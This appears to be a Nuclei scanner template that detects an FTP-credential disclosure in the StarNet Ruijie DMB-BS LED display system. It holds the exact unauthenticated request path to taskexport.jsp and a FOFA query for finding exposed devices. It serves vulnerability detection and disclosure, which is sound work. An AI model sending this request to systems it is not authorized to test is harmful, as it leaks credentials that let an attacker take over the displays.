id: starnet-dmb-bs-ftp-credentials-disclosure

info:
  name: StarNet DMB-BS - FTP Credentials Disclosure
  author: brucelsone
  severity: medium
  description: |
    The StarNet Ruijie DMB-BS LED Display System contains a security vulnerability in its taskexport interface that allows unauthorized access to FTP server credentials and connection parameters. This exposure enables potential attackers to gain unauthorized access to the FTP server, potentially compromising the integrity and content of the LED display system.
  reference:
    - https://www.ddpoc.com/DVB-2024-7055.html
    - https://blog.csdn.net/shelter1234567/article/details/145521914
  metadata:
    verified: true
    max-request: 1
    fofa-query: (app="STAR_NET-数字标牌系统" || -欢迎! -- BS3.2.02.38447- || icon_hash="-260118452")
  tags: starnet,ruijie,ftp,password,exposures

http:
  - method: GET
    path:
      - "{{RootURL}}/dmb/out/taskexport.jsp?taskcode"

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'text/xml')"
          - "contains_all(body, 'user=','tasks version')"
          - "status_code == 200"
        condition: and
# digest: 4a0a004730450220758046554e45dfed6677455328cd60f36649e21efcfaab4445c81a4d607c8c43022100cae0999f3f2401f47928f9170edc96d8d1d7424c175ae639c4404003c9e9cb3b:922c64590222798bb761d5b6d8e72950